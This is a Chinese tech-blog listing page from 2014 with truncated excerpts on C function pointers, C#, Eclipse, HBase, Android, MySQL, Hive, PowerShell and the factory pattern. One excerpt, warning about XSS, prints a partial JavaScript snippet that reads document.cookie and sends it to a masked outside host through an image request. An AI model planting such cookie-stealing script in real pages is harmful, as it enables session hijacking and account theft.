在 Linux 内核代码,特别是驱动代码中经常见到的用法是使用一个标准结构,后面的代码基于这个结构来实现,类似面向对象的多态特性。
在 C 语言里面借助结构体和函数指针实现的这个功能,这里我们写了个例子,提取了关键代码:
#include
struct s_new{
char name[10];
char* (* my_method)(char *name);...
分类:
系统相关 时间:
2014-05-23 07:58:18
阅读次数:
324
我们通常这么写
using (SqlDataReader drm = sqlComm.ExecuteReader())
{
drm.Read();//以下把数据库中读出的Image流在图片框中显示出来.
MemoryStream ms = new Mem...
分类:
数据库 时间:
2014-05-22 12:06:10
阅读次数:
566
一、Eclipse版本,我用J2EE的Eclipse-jee-helios-SR2-win32,这个版本可以上官网下载,或者百度搜索也可以找到。
二、安装maven插件,这个很重要,我也痛苦了两天才得以完成,进入Eclipse的菜单栏help==>Install New software..
1、首先安装gef - http://download.eclipse.org/tools/...
分类:
编程语言 时间:
2014-05-22 09:50:01
阅读次数:
452
从main()函数开始
public static void main(String [] args) {
VersionInfo.logVersion();
new HMasterCommandLine(HMaster.class).doMain(args);
}
public void doMain(String args[]) {
try {
...
分类:
其他好文 时间:
2014-05-22 09:31:11
阅读次数:
348
1.在工程下新建 jni/libs 文件夹 , jni 是和原来的libs 同级 ,将所有的.so文件放入 新建的libs文件下
2.在build.gradle 文件中新增以下内容到android{ } 下
task copyNativeLibs(type: Copy) {
from(new File(project(':HealthCare'...
分类:
移动开发 时间:
2014-05-22 08:50:52
阅读次数:
381
xss的概念就不用多说了,它的危害是极大的,这就意味着一旦你的网站出现xss漏洞,就可以执行任意的js代码,最可怕的是攻击者利用js获取cookie或者session劫持,如果这里面包含了大量敏感信息(身份信息,管理员信息)等,那完了。。。
如下js获取cookie信息:
url=document.top.location.href;
cookie=document.cookie;
c=new Image();
c.src=’http://www.******.c...
分类:
其他好文 时间:
2014-05-22 08:24:14
阅读次数:
273
从mysql.com下载了一个最新的mysql.5.6.17后安装后,因原机器安装过mysql,启动总是报错检查了一下mysql的原安装目录里面有个一新的myql-new.conf。对比了下原/etc/my.conf和mysql-net.conf在mysql.5.6.17这个版本下有很大不同原my.conf配置内容[root@nginx01bin]#cat/etc/my.cnf..
分类:
数据库 时间:
2014-05-21 01:38:08
阅读次数:
421
今天在写一个sql的时候,使用了hive的unionall,运行时报错。sql如下:selectdimension_name,dt,dtype_name,uv,new_uv,old_uv,pv,stay_timefromtemp_bi.uv
unionall
select‘平台‘dimension_name
,dt
,app_platformdtype_name
,count(distinctmid)uv
,count(distinctcasewhenis_..
分类:
其他好文 时间:
2014-05-20 23:53:32
阅读次数:
527
为虚拟磁盘添加/删除物理磁盘Add-Physicaldisk此命令用于将指定的物理磁盘添加到虚拟磁盘在存储池一节已经介绍过将物理磁盘加入存储池的用法,在这里将介绍在虚拟磁盘上的用法在正式介绍命令用法之前先回答在Get-StoragePool,Get-VirtualDisk,New-VirtualDisk三节中的提问要..
分类:
其他好文 时间:
2014-05-20 19:05:35
阅读次数:
280
等等,如果你再仔细想想,各种各样的情况下都有各种各样的缺点(当然这么写也有优点的,至少简单嘛,如何设计没有最好,只有合适的),那么我们有没有其他方式来规避这些问题呢?其实我们需要一个对象时,除了自己new之外,还有就是从其他地方获取,我们完全可以把这些按钮的创建过程放到一起,客户端使用的时候直接获取就行了。
工厂模式通用类图如下:
三、适用场景及效果(优缺点)
没有工厂的时候,假如我们要做饭,需要用到火,创建火的同时发现需要用到木柴,还要创建一个锯来锯木柴......代码如...
分类:
其他好文 时间:
2014-05-20 14:17:41
阅读次数:
293